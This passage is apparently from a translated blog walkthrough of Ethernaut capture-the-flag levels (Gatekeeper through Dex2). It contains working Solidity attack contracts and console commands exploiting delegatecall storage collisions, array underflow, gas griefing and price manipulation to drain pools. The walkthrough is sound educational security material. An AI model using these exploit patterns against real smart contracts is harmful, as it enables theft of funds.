variable for actual attack.
contract interaction
Deploy the contract, pass in the target contract 0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284
, and build the contract at the address 0x9CeD0A7587C4dCb17F6213Ea47842c86a88ff43d
.
Click getAddress
to calculate changedValue
. At this point, click check1
, check2
, check3
to check gateThree
whether the requirements are met. As can be seen from the screenshots, all are satisfied.
Since it gateOne
has been automatically satisfied, we can debug the actual gas directly by calling.
Click attack
to launch an attack, because it is a cross-contract call, so we first increase the Gas Limit (actually far from so large), as shown in the figure.
At this point, we enter the testnet Explorer to view the transaction details. No accident, the transaction will be rolled back. This is because the current gas does not meet the requirements.
Click on the upper right corner and select to Geth Debug Trace
see the detailed compilation process.
Inside is the execution process of each step and the GAS it consumes.
Searching for GAS on the page, there are a total of 2 operations. Analyze the entire call sequence. The former should be initiated before the internal call of the contract, and the latter should be gateTwo
initiated gasLeft
actively. So write down the remaining gas after the GAS operation (because the query itself also consumes gas), which is 70215 here. We can adjust the gas limit according to the remainder of dividing this value by 8191 until the attack is completed.
The following table shows our initiation process, which needs to be repeated several times to complete the attack.
original gas limit | Remaining gas after GAS operation | remainder | Enter gas next time |
---|---|---|---|
100000 | 70215 | 4687 | 95313 |
95313 | 65601 | 73 | 95240 |
95240 | 65529 | 1 | 95239 |
Note that when gas is set to 95239, the transaction is successful. As shown in the screenshot:
Enter await contract.entrant() == player
, and return true at this time to indicate that the attack is successful.
Submit an example, this level is successful!
Summarize
The debugging of Gas is very interesting and worthy of careful study.
14 GateKeeper Two
Create an instance and analyze
According to the previous steps, create a contract instance with the contract address of 0xc2F1c976Bc795C43F7C9B56Ab69d5c06Daa7d53F
. The purpose of this level is to satisfy gateOne
, gateTwo
and gateThree
, to successfully implement entrant
modifications.
Observe its core code, still gateOne
, gateTwo
and gateThree
.
gateOne
It is still a requirementmsg.sender != tx.origin
that there must be an intermediate contract.gateTwo
The requirementextcodesize(caller())==0
is that the associated code length of the caller (corresponding to msg.sender) is 0, and we know that the smart contract code is not 0.gateThree
Then it is required to input the corresponding bytes8 to meet the corresponding requirements.
At first glance, it seems gateOne
and gateTwo
cannot be satisfied at the same time, but it can be considered that when the contract is being constructed, its associated code is also 0. So we can attack in the build function.
Attack contract writing
We also write the attack contract in remix. as follows:
pragma solidity ^0.6.0;
interface Gate {
function enter(bytes8 _gateKey) external returns (bool);
}
contract attackerSupporter {
constructor(address addr) public {
Gate gateImpl = Gate(addr);
bytes8 input = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1));
gateImpl.enter(input);
}
}
It is worth noting that here we gateThree
use active underflow to obtain all 1s uint64
(two XORs disappear).
contract interaction
Deploy the contract, pass in the target contract 0xc2F1c976Bc795C43F7C9B56Ab69d5c06Daa7d53F
, and build the contract at the address 0xE0CCEeA724E2eF32A573348975538DEf0eeBC74f
.
After the deployment is successful, use it to await contract.entrant() == player
check whether the attack is successful. The answer is success.
Submit an example, this level is successful!
Summarize
How to ensure that the request sent by the smart contract is not processed? msg.sender=tx.origin
That's it.
15 Naught Coin
Create an instance and analyze
According to the previous steps, create a contract instance with the contract address of 0x30A758458135a40eA5c59c7F171Fd6FFe08e00c2
. The purpose of this level is to bring your own balance to 0.
At first glance, the contract player
has the following restrictions:
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
It seems that it cannot be bypassed, and it seems that we cannot attack through the contract, because the default is to deduct our own token.
But at first glance, it NaughCoin
is inheritance ERC20
, and we know that ERC20
there is more than one transfer function. We can try other methods.
ERC20
On closer inspection, there are still transferFrom
functions in the original .
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
Of course, this premise is that there is enough allowance. We can start trying.
contract interaction
First pass await contract.approve(player,await contract.balanceOf(player))
, so that it can transferFrom
transfer money through the function.
We then proceed by await contract.transferFrom(player,contract.address,await contract.balanceOf(player))
transferring the balance to the contract.
At this point, by await contract.balanceOf(player)
checking the balance, we can see that the attack was successful and the balance is 0.
Submit an example, this level is successful!
Summarize
Inheriting some functions does not affect other uses, which can be said to be a superficial contract.
16 Preservation
I'm back again, and the training for foreigners is about to come to an end. During this process, I think I have gained a lot. In the process of training and explaining, my thinking has become more clear. congratulations. In theory, my initial plan is to complete the attack and defense of Ethernaut in August, and then start the next stage of sharing.
Create an instance and analyze
According to the previous steps, create a contract instance with the contract address of 0x2f3aC08a3761D8d97A201A36f7f0506CEAaF1046
. The purpose of this level is to take ownership of the target contract. Then we still have to see, where is the weak point of the target contract, and where is the entrance of our hack ?
We carry out a detailed analysis of the target
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
Here the target stores timeZone1Library
, timeZone2Library
, owner
and storedTime
variables, all of which are specified at creation time.
Since we want to obtain the ownership of the target contract, first we look for owner
the modified statement, but we can't find it in the code, maybe we have to see what dangerous functions are there ?
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
That's right, it's here, delegatecall!
In fact, in Delegation
a level, we specifically mentioned the difference in the call function family:
- call: The most common calling method. After the call, the value of the built-in variable msg will be changed to the caller B, and the execution environment will be the callee's runtime environment C.
- delegatecall: After the call, the value A of the built-in variable msg will not be changed to the caller B, but the execution environment is the caller's runtime environment B
- callcode: After the call, the value A of the built-in variable msg will be modified to the caller B, but the execution environment is the caller's runtime environment B
At this point, when using delegate call, we just call the function, and the actual execution environment is still its own running environment. How to understand it at a lower level? This context, especially when it comes to storage of storage variables, is used based on the slot, not the variable name. In other words, if we modify the storage variable through the delegate call, we are actually modifying the corresponding slot in the current environment!
After understanding this, let's look at the current contract again. It really doesn't look right: when LibraryContract
the setTime
function of the corresponding contract is called, as what you see is what you get, the storedTime
variables are modified, which will actually modify the running environment. slot 0
In other words, in fact, timeZone1Library
The slot it is in has been modified. The contract itself is problematic!
That is, because it has a problem, we have to deal with it! We first want to timeZone1Library
modify the address to our attack contract, and we are trying to implement subsequent attacks through delegate calls.
Attack contract writing
We also write the attack contract in remix. as follows:
pragma solidity ^0.6.0;
contract attacker {
address public tmpAddr1;
address public tmpAddr2;
address public owner;
constructor() public {
}
function setTime(uint _time) public {
owner = address(_time);
}
}
At first glance, is this any different from the original contract? In fact, there is, that is, we deliberately make the modification of the third slot, that is, when we modify it slot 2
. The variable tmpAddr1
sum tmpAddr2
is actually just a placeholder for a slot and has no special meaning.
contract interaction
First, we deploy the attack contract, the contract address is 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958
. Now we just want to replace the original variable with it timeZone1Library
.
First, we can query the current slot status of the target contract.
Its layout should be
-----------------------------------------------------
| 0x7Dc17e761933D24F4917EF373F6433d4a62fe3c5 | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1 | <- slot 1
-----------------------------------------------------
| 0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F | <- slot 2
-----------------------------------------------------
| storedTime | <- slot 3
-----------------------------------------------------
We try to call await contract.setFirstTime()
(first or second doesn't really matter, you can think about why below) and pass in our attack contract. At this point you can see that there has actually been a change. We can directly pass in the address without caring about the limitation of uint, because the specifically constructed data will not specify the parameter type, but will be compiled manually by evm.
At this point, its layout should be
-----------------------------------------------------
| 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958 | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1 | <- slot 1
-----------------------------------------------------
| 0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F | <- slot 2
-----------------------------------------------------
| storedTime | <- slot 3
-----------------------------------------------------
At this point, the idea is very simple, directly call await contract.setFirstTime()
and pass in the player address. After passing in, check whether the owner variable has been modified, and you can see that the contract ownership has been successfully obtained.
The layout is now:
-----------------------------------------------------
| 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958 | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1 | <- slot 1
-----------------------------------------------------
| 0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b | <- slot 2
-----------------------------------------------------
| storedTime | <- slot 3
-----------------------------------------------------
Submit an example, this level is complete!
Summarize
Still have to understand what the delegate call shared environment is sharing.
17 Recovery
Create an instance and analyze
According to the previous steps, create a contract instance with the contract address of 0x2f3aC08a3761D8d97A201A36f7f0506CEAaF1046
. The purpose of this level is to find the "lost address" (we transferred him 0.001 ether but forgot its address) and recover the lost ether.
There are actually two ways of thinking about this question, one is a bit tricky, and the second I guess is what the question really wants to test.
According to the title description, this is actually a continuous process: the contract creator creates the factory contract of the token contract , and the latter creates the token contract (forgotten address). We start around this idea.
contract interaction
Find the forgotten address, method 1: Browser-based
The browser here is not Browser, but Explorer .
We can view our transaction history. You can see that we also transferred 0.001 ether twice inside.
We can expand the analysis based on internal calls. The overall process is as follows:
- User account calls Ethernaut contract
0xd991431d8b033ddcb84dad257f4821e9d5b38c33
- The Ethernaut contract
0xd991431d8b033ddcb84dad257f4821e9d5b38c33
calls the level contract0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2
and transfers 0.001Ether - The level contract
0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2
creates the factory contract0xfeB7158F1d0Ff49043e7e2265576224145b158f2
- The level contract
0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2
calls the factory contract0xfeB7158F1d0Ff49043e7e2265576224145b158f2
, which should be angenerateToken
interface - The factory contract
0xfeB7158F1d0Ff49043e7e2265576224145b158f2
created the token contract0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8
- The level contract transfers 0.001Ether
0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2
to the token contract , and then forgets the contract address.0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8
Through the browser, we found that the token contract address is 0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8
.
Find the forgotten address, method 2: Generate based on address
In fact, the generation of contract addresses can be found regularly. It is often seen that the contracts deployed by some tokens or organizations across the chain are the same. This is because the contract address is calculated based on the creator's address and nonce. Both are first encoded with RLP and then hashed with keccak256. , and take the last 20 bytes as the address in the final result (the hash value was originally 32 bytes).
- The creator's address is known, and the nonce is incremented from the initial value.
- The initial value of the external address nonce is 0, and each transfer or contract creation will cause the nonce to increase by one.
- The initial value of the contract address nonce is 1, and each time a contract is created, the nonce is incremented by one (internal calls will not)
Let's try to recall the lost contract address with web3.js. At present, the known factory contract is 0xfeB7158F1d0Ff49043e7e2265576224145b158f2
, the nonce is 1, the
input is web3.utils.keccak256(Buffer.from(rlp.encode(['0xfeB7158F1d0Ff49043e7e2265576224145b158f2',1]))).slice(-40,)
, and the result is 9d91abf611bbf14e52fa4cddea81f8f2cf665cb8
.
get back
Having found the contract, it is time to try to interact with the contract. We can create new contracts or interact with contracts directly through web3.js.
First, we get the function indication through encodeFunctionSignature and construct the parameters. Finally, it is sent out through sendTransaction.
You can see that there are 4-byte functions and 32-byte inputs (not enough 0s).
Called successfully!
Submit an example, this level is successful!
)
Summarize
In fact, I feel that I know the principle, but I am always a little unskilled in practice, and I need to practice more~
18 MagicNumber
Create an instance and analyze
According to the previous steps, create a contract instance with the contract address of 0x36c8074B1F138B7635Ad1eFe0c2b37b346EC540c
. This level is to hope that we can write solidity opcode, build a contract, and then call it to return the magic number directly 0x42
. To be precise, I want us to be familiar with what the data in the transaction actually refers to when we create a contract.
In fact, I am not particularly familiar with this piece, so I also inquired some information. What exactly happens when we deploy a contract with Solidity?
- The Solidity code has been written. When the user clicks deploy, the transaction to create the contract will be sent (there is no option for this transaction
to
), and the solidity language has been compiled into bytecode. - After the EVM receives the request, it will fetch the data, which is actually bytecode
- The bytecode will be loaded into the stack and divided into two parts: initialization bytecode and runtime bytecode
- The EVM will execute the initialization bytecode and return the runtime bytecode for normal use.
We actually need to write both the runtime bytecode and the initialization bytecode here.
Then start writing bytecode.
contract writing
runtime bytecode
The running state is actually returning RETURN
42 directly. But opcode RETURN
is stack-based. It reads p and s from the stack and returns. Which p
represents the memory address of the storage, and s
represents the size of the stored data. So our idea is to store the data mstore
in memory first, and then use it RETURN
back.
-
mstore
Will read p and v in the stack, and finally store the data in the p positionpush1 0x42
->60 42
push1 0x60
->60 60
(stored at location 0x60)mstore
->52
-
RETURN
return0x42
push1 0x20
->60 20
(0x20=32
ie the number of bytes of uint256)push1 0x60
->60 60
return
->f3
Together it is 604260605260206060f3
. It seems that the runtime bytecode is as simple as that.
initialization bytecode
The core of it is to initialize and codecopy
store the runtime bytecode in memory, after which this will be automatically processed by the EVM and stored on the blockchain.
-
codecopy
The parameters t, f, and s will be read, wheret
is the destination memory address off
the code, the offset of the running state code relative to the whole (initialization + running state), ands
the code size. We choose heret=0x20
(there is no mandatory requirement here),f=unknown(是1字节的偏移量)
,s=0x0a(10个字节的大小)
push1 0x0a
->60 0a
push1 0xUN
->60 UN
push1 0x20
->60 20
codecopy
->39
-
By
RETURN
returning the code to the EVMpush1 0x0a
->60 0a
push1 0x20
->60 20
return
->f3
At this time, the initialization bytecode has 12 bytes, so the running state offset is The12=0x0c=UN
final initialization bytecode is600a600c602039600a6020f3
build and test
Build bytecode 0x600a600c602039600a6020f3604260605260206060f3
.
We constructed the transaction in the console interface to create the contract.
Since the transaction has no recipient, it is automatically identified as the deployment contract . The
deployment is complete. It can be seen that the contract address is 0xAcA8C7d0F1E90272A1bf8046A6b9B3957fbB4771
.
Set the contract as solver. Later, when we submit, it will be called automatically to see if it is satisfied.
Submit the level, test it, and find that it is unsuccessful? what happened?
Looking at the transaction first RAW TRACE
, it can be seen that our contract was indeed accessed in the end, and 0x42 was indeed returned.
Looking at the assembly again, you can see that it is indeed executed.
Then we import on remix, call the function, and indeed all return 0x42.
Is it? We modify the returned value from 0x42 to 42 ( 0x2a
).
Build bytecode 0x600a600c602039600a6020f3602a60605260206060f3
.
At this time, through the remix call, it does return 42. Submit again? It worked!
Summarize
Does anyone actually get confused? There's no function selector or something? In fact, it needs to be added here. Usually, after we write smart contracts through solidity, function selectors are implanted at compile time. And we don't have this step in this level, so just like the graph called by remix, all functions actually execute the same block of commands and get the same result.
19 AlienCodex
Create an instance and analyze
According to the previous steps, create a contract instance with the contract address of 0xc4017fe2BD1Cb4629E0225B6CCe2c712138588Ef
. The purpose of this level is to take ownership of the contract. So let's see if there is any code for setting ownership in the contract?
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
...
}
When you see the code, you know that there should be no ownership code in the contract, so we may have to find a way to start from other places. Found this in the code:
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
It seems to be here, find a way to start from here, and change the size of the value stored in the slot through this operation.
contract interaction
Let's first see what is stored in the slot?
Since the contract inherits the contract, the object Ownable
stored in slot0 is at this time . In fact, this address is the address where the target contract is created, as shown in the following figure:owner
0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272
, the owner will still get their share
and the stored contact
variable is also in slot 0
(a slot is 32 bits long and can store address (20) + boolean (1)), currently 0 is false. Slot1 stores a codex
dynamic array. More precisely, it should be codex
the length of the dynamic array. What about the specific subscript content? will be stored in order in keccak256(bytes(1))+x
the slot, where x is the index of the array. So we represent the slot as:
-----------------------------------------------------
| unused(11 bytes) |contact = false | 0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272 | <- slot 0
-----------------------------------------------------
| codex length =0 | <- slot 1
-----------------------------------------------------
...
-----------------------------------------------------
| codex data[0] | <- slot ??
-----------------------------------------------------
We now calculate the starting slot of the codex data, which should be0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
Let's test the accuracy first. Because contacted modifier
of the existence, we first modify the contact
variable. Call await contact.make_contact()
, check the slot value again, you can find that the variable has been successfully modified.
Save a value to see and await contract.record("0x000000000000000000000000000000000000000000000000000000000000aaaa")
test it. At this point, the slot length is changed, and the stored data is also modified.
Save another value to see and await contract.record("0x000000000000000000000000000000000000000000000000000000000000bbbb")
test it. At this point, the slot length is changed, and the stored data is also modified.
Now we hope to finally modify slot 0 by modifying codex
the data
resulting overflow. First we underflow by
calling three times in await contract.retract()
a row . All previously entered data is lost at this point.codex.length
2**256-1
How much should the bid be? It should be 2**256-1-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6+1
. Because we need to advance one more bit after we reach the end, it will overflow and return to slot0. We encountered a problem in the calculation process, that is, javascript will use scientific notation, which will lead to loss of precision. For simplicity, we calculate with remix, and the result is 35707666377435648211887908874984608119992236509074197713628505308453184860938
.
Then we use it await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938',player)
to call, and the original slot will be overwritten at this time. But an inspection found that something was wrong, and the result ran to the front. It seems that we have to modify it again, it cannot be passed in directly player
, it needs to be passed 0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b
in.
Input await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b')
, this is to fill in 24 0s in front of the address, making up 24 4+40 4=256 bits or 32 bytes, so as to store the address in the correct storage location.
At this point, the contract owner has successfully modified it.
Submit an example, this level is successful!
Summarize
Be careful when it comes to owner (or other important variables) and look for all possibilities.
20 Denial
Create an instance and analyze
According to the previous steps, create a contract instance with the contract address of 0xeb587746E66F008f686521669B5ea99735b1310B
. The purpose of this level is to block owner
withdrawals. Let's first look at what the roles are.
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;输入
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
Whenever a user withdraws money, the withdraw
function will be called, 1% will be withdrawn and sent to partner
, and another 1% will be sent to owner
. All we can do is partner
define functions on the side so that the given owner
steps cannot be performed.
However, the contract is calling call
and attaching all the gas. Let's review the difference between send
, call
and .transfer
- If the transfer is abnormal, the transfer will fail and an exception will be thrown, there is a gas limit
- If send is abnormal, the transfer will fail, return false, and will not terminate the execution, there is a gas limit
- If the call is abnormal, the transfer will fail, return false, do not terminate the execution, and there is no gas limit
So our starting point is to consume all its gas, and the failure of light will not terminate the subsequent execution!
How to consume it? Then let's take a look at require
and assert
.
assert
will consume all remaining gas and resume all operationsrequire
will refund all remaining gas and return a value
So it seems that we can work on assert.
Attack contract writing
Attacking the contract is very simple, it is to default assert(false)
and roll back everything.
pragma solidity ^0.6.0;
contract attacker {
constructor() public {
}
fallback() external payable {
assert(false);
}
}
contract interaction
Deploy the attack contract at address 0xF8fc486804A40d654CC7ea37B9fdae16D0A5d8a7
.
Enter await contract.setWithdrawPartner('0xF8fc486804A40d654CC7ea37B9fdae16D0A5d8a7')
to set the attack contract as a partner
role.
At this point we initiate a withdraw
test. Enter await contract.withdraw()
, it turns out that it fails due to running out of gas.
Submit an example, this level is successful!
Summarize
As the old saying goes, contract interactions are hard to trust.
21 Shop
Create an instance and analyze
According to the previous steps, create a contract instance with the contract address of 0xaF30cef990aD1D3b641Bad72562f62FF3A0977C7
. The purpose of this level is to achieve a purchase at a price lower than the asking price. The specific code segment is as follows:
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
The contract asks the user msg.sender
(so can be a smart contract) for a bid, and if its price()
function returns a result that exceeds the current price and the item is still not sold, it will set the price to the user's bid. Now it seems that the results returned by asking the user to bid twice are different. However, we can see Buyer
that the interface price()
of the view
type is a function of the type, which means that the variable can only be read and should not be modified, i.e. the state of the current contract cannot be changed. what should we do?
So is there a way to make the view
method return different values twice? Currently, there are two methods:
- Relying on changes in external contracts
- Relying on changes in its own variables
Attack contract writing
State changes of external contracts
If view
the type method relies on the state of the external contract, the difference of the return value can be achieved without modification by interrogating the external variable.
Also based on remix, we write the contract as follows:
pragma solidity ^0.6.0;
interface Shop {
function buy() external;
function isSold() external view returns (bool);码
}
contract attacker {
Shop shop;
constructor(address _addr) public {
shop = Shop(_addr);
}
function attack() public {
shop.buy();
}
function price() external view returns (uint){
if (!shop.isSold()){
return 101;
}else{
return 99;
}
}
}
At this time, since the variables of the contract have changed price()
before and after the request , we can set rules based on the variables, and this method is applicable.Shop
isSold
if
Changes in own variables
If we depend on variables such as now
, , timestamp
etc., it is true that view
functions of different types will return different results under different blocks. However, under the same block, it seems that it is still difficult to distinguish.
We have the following contracts:
contract attacker2 {
Shop shop;
uint time;
constructor(address _addr) public {
shop = Shop(_addr);
time = now;
}
function attack() public {
shop.buy();
}
function price() external view returns (uint){
return (130-(now-time));
}
}
view
When a function of a type is called at different times price
, the returned value is different. However, in the same block, it is difficult to distinguish, so it is not applicable enough.
contract interaction
Check the current status of the contract first.
Deploy the attack contract, the contract address is 0x8201E303702976dc3E203a4D3cDe244D522274bf
.
At this point, call price
the method and return 101
.
Call attack
the method to attack. Refresh the target contract state after calling. At this point the item has been sold at 99.
Submit an example, this level is complete!
Summarize
Sometimes we think about problems from another angle, which may be different from what we normally understand.
22 Dex
Create an instance and analyze
According to the previous steps, create a contract instance with the contract address of 0x28B73f0b92f69A35c1645a56a11877b044de3366
. This level is a simplified version of DEX (Decentralized Exchange).
Analysis of the contract, there are only two token contracts in the contract, one is token1
and the other is token2
.
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
And the contract allows us to exchange according to the exchange rate between the tokens. The exchange price is the ratio of the quantity of the two tokens.
function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
There is a problem found here , we will not list it for the time being.
So what do we need to do? It is to use the asymmetric exchange rate here to achieve arbitrage and hollow out the tokens in the trading pool (one type is sufficient).
Since swap
it has been limited to only revolve around token1
and token2
conduct transactions. So we can only start with the exchange rate. So that goes back to the problem we found at the beginning, the exchange rate is constant for a single transaction! For general decentralized exchanges, there will be a concept of slippage, that is, as the transaction volume increases, the difference between the theoretical exchange rate and the actual exchange rate will become larger and larger! Obviously, there is no concept of slippage in this level contract, which allows us to obtain a much larger exchange amount than the actual value. With a few more exchanges, we can quickly empty the transaction pool.
contract interaction
Let's first look at the amount of tokens in the transaction pool token1
and our account.token2
token1
If we want to redeem the 10 we have on hand token2
, first we pass await contract.approve(contract.address,10)
the authorization.
We then exchanged await contract.swap(token1,token2,10)
10 for . We can get 10 according to the initial exchange rate . At this point we have 0 , 20 , but the exchange now has 110 , 90 , if we exchange 10 back, we can get more than 10 ! This is arbitrage!token1
token2
1:1
token2
token1
token2
token1
token2
token2
token1
The following table shows the arbitrage process, in which the exchange rate is often only accurate to 1 decimal place due to limited precision. The last time we did not fully convert according to the exchange rate, only 46 ( 110/2.4=45.83
) were converted, and the result failed (because the transaction pool did not have that many). Later, I found out that you can directly exchange 45 coins.
transaction pool token1 | transaction pool token2 | Exchange rate 1-2 | Exchange rate 2-1 | user token1 | user token2 | exchange currency | User token1 after redemption | User token1 after redemption |
---|---|---|---|---|---|---|---|---|
100 | 100 | 1 | 1 | 10 | 10 | token1 | 0 | 20 |
110 | 90 | 0.818 | 1.222 | 0 | 20 | tokens2 | twenty four | 0 |
86 | 110 | 1.28 | 0.782 | twenty four | 0 | token1 | 0 | 30 |
110 | 80 | 0.727 | 1.375 | 0 | 30 | tokens2 | 41 | 0 |
69 | 110 | 1.694 | 0.627 | 41 | 0 | token1 | 0 | 65 |
110 | 45 | 0.409 | 2.44 | 0 | 65 | tokens2 | 110 | 20 |
At this point, the transaction pool token1
has been emptied! Submit the level, this level is successful!
Summarize
When it comes to Dex
this kind of Defi
project, smart contracts must be written with caution.
23 Dex2
Create an instance and analyze
According to the previous steps, create a contract instance with the contract address of 0xF8A6bcdD3B5297f489d22039F5d3D1e3D58570bA
. This level is still a simplified version of DEX (Decentralized Exchange).
At first glance, this question is no different from the previous one. But on closer inspection it seems that something is missing?
function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
The address of the currency is no longer verified, so can we deploy our own token contract, provide liquidity through related methods, and eventually empty the pool?
Write an attack contract
We refer to the contract in the target contract SwappableToken
and write the attack contract as follows:
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract SwappableTokenAttack is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public returns(bool){
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
Deploy the contract, its contract address is0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e
contract interaction
We first implement approve
the authorization permission, giving the target contract permission for 8 attack tokens.
Subsequently, we await contract.add_liquidity('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',1)
added the attack token by adding it DEX
. The result failed, it turned out that we were not contracted owner
.
Does this affect? No effect, we can manually transfer money in the attack contract.
At this point, let's get the exchange rate of the attack token transfer token1
~ await contract.getSwapAmount('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token1(),1)
, and it turns out that we can empty it all token1
!
Then start the transaction, enter the await contract.swap('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token1(),1)
sum in succession await contract.swap('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token2(),2)
to realize the emptying of the transaction pool! success! (The reason for token2
using 2 attack tokens is that our exchange rate has dropped to 2 at this time 1:50
)
Submit the level, this level is successful!
Summarize
Smart contracts are really full of loopholes. If you have time, you must study the following UniSwap!